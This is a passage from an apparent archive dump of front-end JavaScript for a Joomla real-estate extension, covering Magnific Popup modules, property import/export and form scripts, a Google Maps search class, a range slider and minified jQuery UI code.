				img_replaceWith: item.img
			}, item);

			mfp.resizeImage();

			if(item.hasSize) {
				if(_imgInterval) clearInterval(_imgInterval);

				if(item.loadError) {
					template.addClass('mfp-loading');
					mfp.updateStatus('error',
imgSt.tError.replace('%url%', item.src) );
				} else {
					template.removeClass('mfp-loading');
					mfp.updateStatus('ready');
				}
				return template;
			}

			mfp.updateStatus('loading');
			item.loading = true;

			if(!item.hasSize) {
				item.imgHidden = true;
				template.addClass('mfp-loading');
				mfp.findImageSize(item);
			}

			return template;
		}
	}
});

/*>>image*/

/*>>zoom*/
var hasMozTransform,
	getHasMozTransform = function() {
		if(hasMozTransform === undefined) {
			hasMozTransform =
document.createElement('p').style.MozTransform !== undefined;
		}
		return hasMozTransform;
	};

$.magnificPopup.registerModule('zoom', {

	options: {
		enabled: false,
		easing: 'ease-in-out',
		duration: 300,
		opener: function(element) {
			return element.is('img') ? element :
element.find('img');
		}
	},

	proto: {

		initZoom: function() {
			var zoomSt = mfp.st.zoom,
				ns = '.zoom',
				image;

			if(!zoomSt.enabled || !mfp.supportsTransition) {
				return;
			}

			var duration = zoomSt.duration,
				getElToAnimate = function(image) {
					var newImg =
image.clone().removeAttr('style').removeAttr('class').addClass('mfp-animated-image'),
						transition = 'all '+(zoomSt.duration/1000)+'s ' +
zoomSt.easing,
						cssObj = {
							position: 'fixed',
							zIndex: 9999,
							left: 0,
							top: 0,
							'-webkit-backface-visibility': 'hidden'
						},
						t = 'transition';

					cssObj['-webkit-'+t] = cssObj['-moz-'+t] =
cssObj['-o-'+t] = cssObj[t] = transition;

					newImg.css(cssObj);
					return newImg;
				},
				showMainContent = function() {
					mfp.content.css('visibility', 'visible');
				},
				openTimeout,
				animatedImg;

			_mfpOn('BuildControls'+ns, function() {
				if(mfp._allowZoom()) {

					clearTimeout(openTimeout);
					mfp.content.css('visibility', 'hidden');

					// Basically, all code below does is clones existing image, puts in on
top of the current one and animated it

					image = mfp._getItemToZoom();

					if(!image) {
						showMainContent();
						return;
					}

					animatedImg = getElToAnimate(image);

					animatedImg.css( mfp._getOffset() );

					mfp.wrap.append(animatedImg);

					openTimeout = setTimeout(function() {
						animatedImg.css( mfp._getOffset( true ) );
						openTimeout = setTimeout(function() {

							showMainContent();

							setTimeout(function() {
								animatedImg.remove();
								image = animatedImg = null;
								_mfpTrigger('ZoomAnimationEnded');
							}, 16); // avoid blink when switching images

						}, duration); // this timeout equals animation duration

					}, 16); // by adding this timeout we avoid short glitch at the
beginning of animation


					// Lots of timeouts...
				}
			});
			_mfpOn(BEFORE_CLOSE_EVENT+ns, function() {
				if(mfp._allowZoom()) {

					clearTimeout(openTimeout);

					mfp.st.removalDelay = duration;

					if(!image) {
						image = mfp._getItemToZoom();
						if(!image) {
							return;
						}
						animatedImg = getElToAnimate(image);
					}

					animatedImg.css( mfp._getOffset(true) );
					mfp.wrap.append(animatedImg);
					mfp.content.css('visibility', 'hidden');

					setTimeout(function() {
						animatedImg.css( mfp._getOffset() );
					}, 16);
				}

			});

			_mfpOn(CLOSE_EVENT+ns, function() {
				if(mfp._allowZoom()) {
					showMainContent();
					if(animatedImg) {
						animatedImg.remove();
					}
					image = null;
				}
			});
		},

		_allowZoom: function() {
			return mfp.currItem.type === 'image';
		},

		_getItemToZoom: function() {
			if(mfp.currItem.hasSize) {
				return mfp.currItem.img;
			} else {
				return false;
			}
		},

		// Get element postion relative to viewport
		_getOffset: function(isLarge) {
			var el;
			if(isLarge) {
				el = mfp.currItem.img;
			} else {
				el = mfp.st.zoom.opener(mfp.currItem.el || mfp.currItem);
			}

			var offset = el.offset();
			var paddingTop = parseInt(el.css('padding-top'),10);
			var paddingBottom = parseInt(el.css('padding-bottom'),10);
			offset.top -= ( $(window).scrollTop() - paddingTop );


			/*

			Animating left + top + width/height looks glitchy in Firefox, but
perfect in Chrome. And vice-versa.

			 */
			var obj = {
				width: el.width(),
				// fix Zepto height+padding issue
				height: (_isJQ ? el.innerHeight() : el[0].offsetHeight) - paddingBottom
- paddingTop
			};

			// I hate to do this, but there is no another option
			if( getHasMozTransform() ) {
				obj['-moz-transform'] = obj['transform'] =
'translate(' + offset.left + 'px,' + offset.top +
'px)';
			} else {
				obj.left = offset.left;
				obj.top = offset.top;
			}
			return obj;
		}

	}
});



/*>>zoom*/

/*>>iframe*/

var IFRAME_NS = 'iframe',
	_emptyPage = '//about:blank',

	_fixIframeBugs = function(isShowing) {
		if(mfp.currTemplate[IFRAME_NS]) {
			var el = mfp.currTemplate[IFRAME_NS].find('iframe');
			if(el.length) {
				// reset src after the popup is closed to avoid "video keeps
playing after popup is closed" bug
				if(!isShowing) {
					el[0].src = _emptyPage;
				}

				// IE8 black screen bug fix
				if(mfp.isIE8) {
					el.css('display', isShowing ? 'block' :
'none');
				}
			}
		}
	};

$.magnificPopup.registerModule(IFRAME_NS, {

	options: {
		markup: '<div class="mfp-iframe-scaler">'+
					'<div class="mfp-close"></div>'+
					'<iframe class="mfp-iframe"
src="//about:blank" frameborder="0"
allowfullscreen></iframe>'+
				'</div>',

		srcAction: 'iframe_src',

		// we don't care and support only one default type of URL by default
		patterns: {
			youtube: {
				index: 'youtube.com',
				id: 'v=',
				src: '//www.youtube.com/embed/%id%?autoplay=1'
			},
			vimeo: {
				index: 'vimeo.com/',
				id: '/',
				src: '//player.vimeo.com/video/%id%?autoplay=1'
			},
			gmaps: {
				index: '//maps.google.',
				src: '%id%&output=embed'
			}
		}
	},

	proto: {
		initIframe: function() {
			mfp.types.push(IFRAME_NS);

			_mfpOn('BeforeChange', function(e, prevType, newType) {
				if(prevType !== newType) {
					if(prevType === IFRAME_NS) {
						_fixIframeBugs(); // iframe if removed
					} else if(newType === IFRAME_NS) {
						_fixIframeBugs(true); // iframe is showing
					}
				}// else {
					// iframe source is switched, don't do anything
				//}
			});

			_mfpOn(CLOSE_EVENT + '.' + IFRAME_NS, function() {
				_fixIframeBugs();
			});
		},

		getIframe: function(item, template) {
			var embedSrc = item.src;
			var iframeSt = mfp.st.iframe;

			$.each(iframeSt.patterns, function() {
				if(embedSrc.indexOf( this.index ) > -1) {
					if(this.id) {
						if(typeof this.id === 'string') {
							embedSrc =
embedSrc.substr(embedSrc.lastIndexOf(this.id)+this.id.length,
embedSrc.length);
						} else {
							embedSrc = this.id.call( this, embedSrc );
						}
					}
					embedSrc = this.src.replace('%id%', embedSrc );
					return false; // break;
				}
			});

			var dataObj = {};
			if(iframeSt.srcAction) {
				dataObj[iframeSt.srcAction] = embedSrc;
			}
			mfp._parseMarkup(template, dataObj, item);

			mfp.updateStatus('ready');

			return template;
		}
	}
});



/*>>iframe*/

/*>>gallery*/
/**
 * Get looped index depending on number of slides
 */
var _getLoopedId = function(index) {
		var numSlides = mfp.items.length;
		if(index > numSlides - 1) {
			return index - numSlides;
		} else  if(index < 0) {
			return numSlides + index;
		}
		return index;
	},
	_replaceCurrTotal = function(text, curr, total) {
		return text.replace(/%curr%/gi, curr + 1).replace(/%total%/gi, total);
	};

$.magnificPopup.registerModule('gallery', {

	options: {
		enabled: false,
		arrowMarkup: '<button title="%title%"
type="button" class="mfp-arrow
mfp-arrow-%dir%"></button>',
		preload: [0,2],
		navigateByImgClick: true,
		arrows: true,

		tPrev: 'Previous (Left arrow key)',
		tNext: 'Next (Right arrow key)',
		tCounter: '%curr% of %total%'
	},

	proto: {
		initGallery: function() {

			var gSt = mfp.st.gallery,
				ns = '.mfp-gallery';

			mfp.direction = true; // true - next, false - prev

			if(!gSt || !gSt.enabled ) return false;

			_wrapClasses += ' mfp-gallery';

			_mfpOn(OPEN_EVENT+ns, function() {

				if(gSt.navigateByImgClick) {
					mfp.wrap.on('click'+ns, '.mfp-img', function() {
						if(mfp.items.length > 1) {
							mfp.next();
							return false;
						}
					});
				}

				_document.on('keydown'+ns, function(e) {
					if (e.keyCode === 37) {
						mfp.prev();
					} else if (e.keyCode === 39) {
						mfp.next();
					}
				});
			});

			_mfpOn('UpdateStatus'+ns, function(e, data) {
				if(data.text) {
					data.text = _replaceCurrTotal(data.text, mfp.currItem.index,
mfp.items.length);
				}
			});

			_mfpOn(MARKUP_PARSE_EVENT+ns, function(e, element, values, item) {
				var l = mfp.items.length;
				values.counter = l > 1 ? _replaceCurrTotal(gSt.tCounter, item.index,
l) : '';
			});

			_mfpOn('BuildControls' + ns, function() {
				if(mfp.items.length > 1 && gSt.arrows &&
!mfp.arrowLeft) {
					var markup = gSt.arrowMarkup,
						arrowLeft = mfp.arrowLeft = $( markup.replace(/%title%/gi,
gSt.tPrev).replace(/%dir%/gi, 'left')
).addClass(PREVENT_CLOSE_CLASS),
						arrowRight = mfp.arrowRight = $( markup.replace(/%title%/gi,
gSt.tNext).replace(/%dir%/gi, 'right')
).addClass(PREVENT_CLOSE_CLASS);

					arrowLeft.click(function() {
						mfp.prev();
					});
					arrowRight.click(function() {
						mfp.next();
					});

					mfp.container.append(arrowLeft.add(arrowRight));
				}
			});

			_mfpOn(CHANGE_EVENT+ns, function() {
				if(mfp._preloadTimeout) clearTimeout(mfp._preloadTimeout);

				mfp._preloadTimeout = setTimeout(function() {
					mfp.preloadNearbyImages();
					mfp._preloadTimeout = null;
				}, 16);
			});


			_mfpOn(CLOSE_EVENT+ns, function() {
				_document.off(ns);
				mfp.wrap.off('click'+ns);
				mfp.arrowRight = mfp.arrowLeft = null;
			});

		},
		next: function() {
			mfp.direction = true;
			mfp.index = _getLoopedId(mfp.index + 1);
			mfp.updateItemHTML();
		},
		prev: function() {
			mfp.direction = false;
			mfp.index = _getLoopedId(mfp.index - 1);
			mfp.updateItemHTML();
		},
		goTo: function(newIndex) {
			mfp.direction = (newIndex >= mfp.index);
			mfp.index = newIndex;
			mfp.updateItemHTML();
		},
		preloadNearbyImages: function() {
			var p = mfp.st.gallery.preload,
				preloadBefore = Math.min(p[0], mfp.items.length),
				preloadAfter = Math.min(p[1], mfp.items.length),
				i;

			for(i = 1; i <= (mfp.direction ? preloadAfter : preloadBefore); i++)
{
				mfp._preloadItem(mfp.index+i);
			}
			for(i = 1; i <= (mfp.direction ? preloadBefore : preloadAfter); i++)
{
				mfp._preloadItem(mfp.index-i);
			}
		},
		_preloadItem: function(index) {
			index = _getLoopedId(index);

			if(mfp.items[index].preloaded) {
				return;
			}

			var item = mfp.items[index];
			if(!item.parsed) {
				item = mfp.parseEl( index );
			}

			_mfpTrigger('LazyLoad', item);

			if(item.type === 'image') {
				item.img = $('<img class="mfp-img"
/>').on('load.mfploader', function() {
					item.hasSize = true;
				}).on('error.mfploader', function() {
					item.hasSize = true;
					item.loadError = true;
					_mfpTrigger('LazyLoadError', item);
				}).attr('src', item.src);
			}


			item.preloaded = true;
		}
	}
});

/*>>gallery*/

/*>>retina*/

var RETINA_NS = 'retina';

$.magnificPopup.registerModule(RETINA_NS, {
	options: {
		replaceSrc: function(item) {
			return item.src.replace(/\.\w+$/, function(m) { return '@2x' +
m; });
		},
		ratio: 1 // Function or number.  Set to 1 to disable.
	},
	proto: {
		initRetina: function() {
			if(window.devicePixelRatio > 1) {

				var st = mfp.st.retina,
					ratio = st.ratio;

				ratio = !isNaN(ratio) ? ratio : ratio();

				if(ratio > 1) {
					_mfpOn('ImageHasSize' + '.' + RETINA_NS,
function(e, item) {
						item.img.css({
							'max-width': item.img[0].naturalWidth / ratio,
							'width': '100%'
						});
					});
					_mfpOn('ElementParse' + '.' + RETINA_NS,
function(e, item) {
						item.src = st.replaceSrc(item, ratio);
					});
				}
			}

		}
	}
});

/*>>retina*/
 _checkInstance();
}));js/gateway-jea.js000064400000007754151165074460007742 0ustar00/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate
 * agency
 * 
 * @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license GNU/GPL, see LICENSE.txt
 */

var JeaGateway = {

	startExport : function (gatewayId, gatewayTitle, webConsole) {

		var requestParams = {
			option: 'com_jea',
			format: 'json',
			task: 'gateway.export',
			id: gatewayId
		}
		
		var startMessage =
Joomla.JText._('COM_JEA_EXPORT_START_MESSAGE').replace('%s',
gatewayTitle)
	
		var startLine = webConsole.appendLine({text: startMessage})
	
		jQuery.getJSON( "index.php", requestParams)
			.done(function( json ) {
				
				if (json.error) {
					jQuery(startLine).addClass('error');
					jQuery(startLine).text('> ' + json.error);
					return;
				}
				
				var endMessage = Joomla.JText._('COM_JEA_EXPORT_END_MESSAGE')
					.replace('%s', gatewayTitle)
					.replace('%d', json.exported_properties)
				
				if (json.ftp_sent) {
					endMessage += ' ' +
Joomla.JText._('COM_JEA_GATEWAY_FTP_TRANSFERT_SUCCESS')
				}
	
				endMessage += ' <a href="' + json.zip_url
+'">' +
Joomla.JText._('COM_JEA_GATEWAY_DOWNLOAD_ZIP') +
'</a>'
	
				jQuery(startLine).html('> ' + endMessage)
				
				jQuery(document).trigger('gatewayActionDone');
			})
			.fail(function( jqxhr, textStatus, error ) {
				var err = textStatus + ", " + error
				jQuery(line).addClass('error');
				jQuery(line).text('> ' + "Request Failed: " +
err)
			});
	},

	startImport : function(gatewayId, gatewayTitle, webConsole) {
		var startMessage =
Joomla.JText._('COM_JEA_IMPORT_START_MESSAGE').replace('%s',
gatewayTitle)

		var startLine = webConsole.appendLine({text: startMessage})
		var progressbar = webConsole.addProgressBar('import_bar_' +
gatewayId);

		webConsole.addPlaceHolder('properties_found_'   + gatewayId);
		webConsole.addPlaceHolder('properties_updated_' + gatewayId);
		webConsole.addPlaceHolder('properties_created_' + gatewayId);
		webConsole.addPlaceHolder('properties_removed_' + gatewayId);

		JeaGateway.importRequest(gatewayId, gatewayTitle, startLine, webConsole);
	},

	importRequest : function(gatewayId, gatewayTitle, startLine, webConsole) {

		var requestParams = {
			option: 'com_jea',
			format: 'json',
			task: 'gateway.import',
			id: gatewayId
		}

		jQuery.getJSON( "index.php", requestParams)
			.done(function(response) {

				if (response.error) {
					jQuery(startLine).addClass('error');
					jQuery(startLine).text('> ' + response.error);
					return;
				}

				if (response.total == 0) {
					jQuery(startLine).text('> ' + 'Aucun bien à
importer.');
					return;
				}

				var progressbar = webConsole.getProgressBar('import_bar_'+
gatewayId);

				if (progressbar.step == 0) {
					webConsole.getPlaceHolder('properties_found_' +
gatewayId).empty().html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_FOUND').replace('%s',
response.total));
					progressbar.options.steps = response.total;
				}

				webConsole.getPlaceHolder('properties_updated_' +
gatewayId).empty()
					.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_UPDATED').replace('%s',
response.updated));
				webConsole.getPlaceHolder('properties_created_' +
gatewayId).empty()
					.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_CREATED').replace('%s',
response.created));
				webConsole.getPlaceHolder('properties_removed_' +
gatewayId).empty()
					.html(Joomla.JText._('COM_JEA_GATEWAY_PROPERTIES_DELETED').replace('%s',
response.removed));

				progressbar.setStep(response.imported);

				if (response.total == response.imported) {
					var endMessage =
Joomla.JText._('COM_JEA_IMPORT_END_MESSAGE').replace('%s',
gatewayTitle)
					jQuery(startLine).html('> ' + endMessage)
					jQuery(document).trigger('gatewayActionDone')
					return;
				}

				// Recursive
				JeaGateway.importRequest(gatewayId, gatewayTitle, startLine,
webConsole)
			})
			.fail(function( jqxhr, textStatus, error ) {
				var err = textStatus + ", " + error
				jQuery(startLine).addClass('error');
				jQuery(startLine).text('> ' + "Request Failed: "
+ err)
			});
	}

}

js/property.form.js000064400000012025151165074460010355 0ustar00
Element.implement({
	flash: function (to,from,reps,prop,dur) {

		//defaults
		if(!reps) { reps = 1; }
		if(!prop) { prop = 'background-color'; }
		if(!dur) { dur = 250; }
	
		//create effect
		var effect = new Fx.Tween(this, {
			duration: dur,
			link: 'chain'
		})
	
		//do it!
		for(x = 1; x <= reps; x++)
		{
			effect.start(prop,from,to).start(prop,to,from);
		}
	}
});

function updateFeature(name, fieldId, language) {
	//active option selected
	var activeValue = document.id(fieldId).get('value');
	//ajax request
	var jSonRequest = new Request.JSON({
		url: 'index.php',
		onSuccess: function(response) {
			var first = document.id(fieldId).getFirst().clone();
			document.id(fieldId).empty();
			document.id(fieldId).adopt(first);
			if (response) {
				response.each(function(item) {
					var option  = new Element('option', {'value' :
item.id});
					// keep selected value if active value is found as a result
					if (activeValue == item.id) {
						option.setProperty('selected','selected');
					}
					option.appendText(item.value);
					document.id(fieldId).adopt(option);
				});
				jQuery('#'+fieldId).trigger('liszt:updated.chosen');
// Update jQuery choosen
			}
		}
	});
	jSonRequest.post({
		'option' : 'com_jea',
		'format' : 'json',
		'task' : 'features.get_list',
		'feature' : name,
		'language' : language
	});
};

function updateAmenities(language) {
	//active option selected
	var labels = document.getElements('.amenity');
	var checkedLabels = Array();
	//store active amenities & clear labels
	labels.each(function(label){
		var input = label.getElement('input');
		if (input.get('checked')) {
			checkedLabels.push(input.get('value'));
		} 
    });
	//remove current amenities
	document.id('amenities').empty();
	//ajax request
	var jSonRequest = new Request.JSON({
		url: 'index.php',
		onSuccess: function(response) {
			if (response) {
				response.each(function(item, idx) {
					//amenity li container
					var li = new Element('li.amenity');
					//generate the label
					var label = new Element('label', { 
						'text' : item.value,
						'for' : 'jform_amenities' + idx
					});
					//generate the input checkbox
					var checkbox  = new Element('input', {
						'name' : 'jform[amenities][]',
						'value' : item.id, 
						'type' : 'checkbox',
						'class' : 'am-input',
						'id' : 'jform_amenities' + idx
					});
					//hide checkbox. It will be enabled/disabled by clicking on parent div
					checkbox.setStyle('display','none');
					// keep selected value if it's found as a result
					if (checkedLabels.contains(item.id)) {
						checkbox.checked = 'checked';
						li.addClass('active');
					}
					//div click => toggle checkbox status
					li.addEvent('click', function(event) {
						if (checkbox.checked) {
							li.removeClass('active');
							checkbox.set('checked', false);
						}
						else {
							li.addClass('active');
							checkbox.set('checked', true);
						}
					});
					//add the content to the amenity div
					li.adopt(label);
					li.adopt(checkbox);
					document.id('amenities').adopt(li);
				});
			}
		}
	});
	jSonRequest.post({
		'option' : 'com_jea',
		'format' : 'json',
		'task' : 'features.get_list',
		'feature' : 'amenity',
		'language' : language
	});
}

function updateFeatures() {
	//language selected
	var language =
document.id('jform_language').get('value');
	//update
	updateFeature('type','jform_type_id',language);
	updateFeature('condition','jform_condition_id',language);
	updateFeature('heatingtype','jform_heating_type',language);
	updateFeature('hotwatertype','jform_hot_water_type',language);
	updateFeature('slogan','jform_slogan_id',language);
	updateAmenities(language);
}

window.addEvent('domready', function() {
	// colors
	var bgColor = '#F8E9E9';
	var borderColor = '#DE7A7B';

	document.id('ajaxupdating').setStyle('display','none');
	document.id('jform_language').addEvent('change',
function(event) {
		// show field alerts
		document.id('ajaxupdating').setStyle('display','');
		document.id('ajaxupdating').flash('#fff',bgColor,2,'background-color',500);
		document.id('jform_type_id').setStyle('border','1px
solid '+borderColor);
		document.id('jform_type_id').flash('#fff',bgColor,2,'background-color',500);
		document.id('jform_condition_id').setStyle('border','1px
solid '+borderColor);
		document.id('jform_condition_id').flash('#fff',bgColor,2,'background-color',500);
		document.id('jform_heating_type').setStyle('border','1px
solid '+borderColor);
		document.id('jform_heating_type').flash('#fff',bgColor,2,'background-color',500);
		document.id('jform_hot_water_type').setStyle('border','1px
solid '+borderColor);
		document.id('jform_hot_water_type').flash('#fff',bgColor,2,'background-color',500);
		document.id('jform_slogan_id').setStyle('border','1px
solid '+borderColor);
		document.id('jform_slogan_id').flash('#fff',bgColor,2,'background-color',500);
		document.id('amenities').setStyle('border','1px
solid '+borderColor);
		document.id('amenities').flash('#fff',bgColor,2,'background-color',500);
		// update dropdowns	
		updateFeatures();
	});
	//onload update dropdowns
	updateFeatures();
});
js/geoSearch.js000064400000006364151165074460007440 0ustar00var
JEAGeoSearch = new Class({

	Implements : [ Options ],

	mask : null,

	map : null,

	options : {
		opacity : 0.5,
		counterElement : '',
		defaultArea : '',
		Itemid : 0
	},

	initialize : function(content, options) {
		this.content = document.id(content);
		this.setOptions(options);
		this.mask = Class.empty;
		this.map = Class.empty;
	},

	refresh : function() {

		var params = this.getFilters();

		var kml =
'index.php?option=com_jea&task=properties.kml&format=xml';

		for (key in params) {
			kml += '&' + key + '=' + params[key];
		}
		kml += '&Itemid=' + this.options.Itemid;

		var mapOptions = {
			mapTypeId : google.maps.MapTypeId.ROADMAP
		};

		this.map = new google.maps.Map(this.content, mapOptions);
		this.applyMask();

		geoXml = new geoXML3.parser({
			map : this.map,
			afterParse : function(docSet) {

				// Count results
				var count = 0;

				docSet.each(function(doc) {
					if (!!doc.markers) {
						count += doc.markers.length;
					}
				});

				if (!count) {
					var geocoder = new google.maps.Geocoder();
					var opts = {
						address : this.options.defaultArea
					};
					geocoder.geocode(opts, function(results, status) {
						if (status == google.maps.GeocoderStatus.OK) {
							this.map.fitBounds(results[0].geometry.viewport);
						}
					}.bind(this));
				}

				if (document.id(this.options.counterElement)) {
					document.id(this.options.counterElement).set('text', count);
				}

				this.removeMask();

			}.bind(this)
		});

		geoXml.parse(kml);
	},

	getFilters : function () {
		
		var form = document.id(this.options.form);
		var filters = {};
		var fields = [ 
		'filter_type_id', 
		'filter_department_id',
		'filter_town_id', 
		'filter_area_id', 
		'filter_budget_min',
		'filter_budget_max', 
		'filter_living_space_min',
		'filter_living_space_max', 
		'filter_rooms_min' 
		];

		if (form) {

			var transTypes =
document.getElements('[name=filter_transaction_type]');
			if (transTypes.length > 1) {
				transTypes.each(function(item) {
					if (item.get('checked')) {
						filters['filter_transaction_type'] =
item.get('value');
					}
				});
			} else if (transTypes.length == 1) {
				filters['filter_transaction_type'] =
transTypes[0].get('value');
			}

			fields.each(function(field) {
				var inputfield =
document.getElement('[name='+field+']');
				if (inputfield) {
					if (inputfield.get('value') > 0) {
						filters[field] = inputfield.get('value');
					}
				}
			});

			if (form['filter_amenities[]']) {
				var amenities =
document.getElements('[name=filter_amenities[]]');
				amenities.each(function(item, i) {
					if (item.get('checked')) {
						filters['filter_amenities[' + i + ']'] =
item.get('value');
					}
				});
			}
		}

		return filters;
	},
	

	applyMask : function() {
		this.mask = new Element('div');
		this.mask.set('class', 'google-map-mask')
		this.mask.setStyles({
			'position' : 'absolute',
			'width' : this.content.getStyle('width'),
			'height' : this.content.getStyle('height'),
			'z-index' : '9999'
		});

		this.content.appendChild(this.mask);
		this.myFx = new Fx.Tween(this.mask, {
			property : 'opacity'
		}).start(0, this.options.opacity);
	},

	removeMask : function() {
		this.myFx.start(this.options.opacity, 0);
		if (this.mask.parentNode) {
			this.mask.destroy();
		}
	}

});
js/jquery-biSlider.js000064400000010255151165074460010604 0ustar00/*
Based on Mootools 1.1 Slider.js
Author : Sylvain Philip

License:
	MIT-style license.
*/

/*
Class: BiSlider
	Creates a slider with tree elements: two knobs and a container. Returns
the values.

Note:
	The Slider requires an XHTML doctype.

Arguments:
	element - the knobs container
	knobMin - the min handle
	knobMax - the max handle
	options - see Options below

Options:
	steps - the number of steps for your slider.
	mode - either 'horizontal' or 'vertical'. defaults to
horizontal.
	offset - relative offset for knob position. default to 0.

Events:
	onChange - a function to fire when the value changes.
	onComplete - a function to fire when you're done dragging.
	onTick - optionally, you can alter the onTick behavior, for example
displaying an effect of the knob moving to the desired position.
		Passes as parameter the new position.
*/

(function ($) {
	
	const capitalize = (s) => {
		if (typeof s !== 'string') return ''
		return s.charAt(0).toUpperCase() + s.slice(1)
	}
	
	var BiSlider = function(el, knobMin, knobMax, options) {
		
		this.options = $.extend({
			onChange: function(steps){},
			onComplete: function(step){},
			mode: 'horizontal',
			steps: 100,
			offset: 0
		}, options )
		
		this.element = $(el);
		this.element.css('position', 'relative');
		this.knobMin = $(knobMin);
		this.knobMax = $(knobMax);
		this.previousChange = -1;
		this.previousEnd = -1;
		this.step = -1;

		var mod, offset;

		switch(this.options.mode){
			case 'horizontal':
				this.z = 'x';
				this.p = 'left';
				mod = {'x': 'left', 'y': false};
				offset = 'offsetWidth';
				break;
			case 'vertical':
				this.z = 'y';
				this.p = 'top';
				mod = {'x': false, 'y': 'top'};
				offset = 'offsetHeight';
		}

		this.max = this.element[0][offset] - this.knobMin[0][offset] +
(this.options.offset * 2);
		
		this.half = this.knobMin[0][offset]/2;
		this.getPos = this.element[0]['offset' + capitalize(this.p)];
		
		this.knobMin.css('position', 'absolute').css(this.p,
- this.options.offset);
		this.knobMax.css('position', 'absolute').css(this.p,
this.max);

		this.KnobMinWidth = this.knobMin[0][offset] + (this.options.offset * 2);
		this.knobMaxWidth = this.knobMax[0][offset] + (this.options.offset * 2);
		
		this.stepMin = this.toStep(- this.options.offset);
		this.stepMax = this.toStep(this.max);

		var that = this
		
		this.knobMin.draggable({
			cancel: false,
			containment: 'parent',
			axis: 'x',
			drag: function(event, ui) {
				var maxPosition = that.knobMax.position()[that.p]
				var minPosition = ui.position[that.p]
				
				if (minPosition > maxPosition) {
					return false
				}
				
				that.draggedKnob('dragMin');
			},
			stop: function(event, ui) {
				that.draggedKnob('dragMin');
				that.end()
			}
		})
		
		this.knobMax.draggable({
			cancel: false,
			containment: 'parent',
			axis: 'x',
			drag: function(event, ui) {
				var maxPosition = ui.position[that.p]
				var minPosition = that.knobMin.position()[that.p]
				
				if (maxPosition < minPosition) {
					return false
				}
				that.draggedKnob('dragMax');
			},
			stop: function(event, ui) {
				that.draggedKnob('dragMax');
				that.end()
			}
		})
	}

	BiSlider.prototype.draggedKnob = function(knob) {
		var maxPosition = this.knobMax.position()[this.p]
		var minPosition = this.knobMin.position()[this.p]

		if (knob == 'dragMax') {
			this.step = this.toStep(maxPosition);
			this.stepMax = this.step;
		} else {
			this.step = this.toStep(minPosition);
			this.stepMin = this.step;
		}

		this.checkStep();
	}

	BiSlider.prototype.checkStep = function() {
		if (this.previousChange != this.step){
			this.previousChange = this.step;
			var steps = {
				current : this.step,
				minimum : this.stepMin,
				maximum : this.stepMax 
			};

			this.options.onChange(steps)
		}
	}

	BiSlider.prototype.end = function(){
		if (this.previousEnd !== this.step){
			this.previousEnd = this.step;
			this.options.onComplete(this.step)
		}
	}

	BiSlider.prototype.toStep = function(position){
		return Math.round((position + this.options.offset) / this.max *
this.options.steps)
	}

	$.fn.bislider = function(options) {
		return this.each(function() {
			var knobs = $(this).find('.knob')
			new BiSlider(this, knobs[0], knobs[1], options)
		})
	}

}(jQuery))

js/jquery-ui-draggable.min.js000064400000074021151165074460012155
0ustar00/*! jQuery UI - v1.12.1 - 2019-12-24
* http://jqueryui.com
* Includes: widget.js, data.js, scroll-parent.js, widgets/draggable.js,
widgets/mouse.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */

(function(t){"function"==typeof
define&&define.amd?define(["jquery"],t):t(jQuery)})(function(t){t.ui=t.ui||{},t.ui.version="1.12.1";var
e=0,i=Array.prototype.slice;t.cleanData=function(e){return function(i){var
s,n,o;for(o=0;null!=(n=i[o]);o++)try{s=t._data(n,"events"),s&&s.remove&&t(n).triggerHandler("remove")}catch(a){}e(i)}}(t.cleanData),t.widget=function(e,i,s){var
n,o,a,r={},h=e.split(".")[0];e=e.split(".")[1];var
l=h+"-"+e;return
s||(s=i,i=t.Widget),t.isArray(s)&&(s=t.extend.apply(null,[{}].concat(s))),t.expr[":"][l.toLowerCase()]=function(e){return!!t.data(e,l)},t[h]=t[h]||{},n=t[h][e],o=t[h][e]=function(t,e){return
this._createWidget?(arguments.length&&this._createWidget(t,e),void
0):new
o(t,e)},t.extend(o,n,{version:s.version,_proto:t.extend({},s),_childConstructors:[]}),a=new
i,a.options=t.widget.extend({},a.options),t.each(s,function(e,s){return
t.isFunction(s)?(r[e]=function(){function t(){return
i.prototype[e].apply(this,arguments)}function n(t){return
i.prototype[e].apply(this,t)}return function(){var
e,i=this._super,o=this._superApply;return
this._super=t,this._superApply=n,e=s.apply(this,arguments),this._super=i,this._superApply=o,e}}(),void
0):(r[e]=s,void
0)}),o.prototype=t.widget.extend(a,{widgetEventPrefix:n?a.widgetEventPrefix||e:e},r,{constructor:o,namespace:h,widgetName:e,widgetFullName:l}),n?(t.each(n._childConstructors,function(e,i){var
s=i.prototype;t.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete
n._childConstructors):i._childConstructors.push(o),t.widget.bridge(e,o),o},t.widget.extend=function(e){for(var
s,n,o=i.call(arguments,1),a=0,r=o.length;r>a;a++)for(s in
o[a])n=o[a][s],o[a].hasOwnProperty(s)&&void
0!==n&&(e[s]=t.isPlainObject(n)?t.isPlainObject(e[s])?t.widget.extend({},e[s],n):t.widget.extend({},n):n);return
e},t.widget.bridge=function(e,s){var
n=s.prototype.widgetFullName||e;t.fn[e]=function(o){var
a="string"==typeof o,r=i.call(arguments,1),h=this;return
a?this.length||"instance"!==o?this.each(function(){var
i,s=t.data(this,n);return"instance"===o?(h=s,!1):s?t.isFunction(s[o])&&"_"!==o.charAt(0)?(i=s[o].apply(s,r),i!==s&&void
0!==i?(h=i&&i.jquery?h.pushStack(i.get()):i,!1):void
0):t.error("no such method '"+o+"' for
"+e+" widget instance"):t.error("cannot call methods on
"+e+" prior to initialization; "+"attempted to call
method '"+o+"'")}):h=void
0:(r.length&&(o=t.widget.extend.apply(null,[o].concat(r))),this.each(function(){var
e=t.data(this,n);e?(e.option(o||{}),e._init&&e._init()):t.data(this,n,new
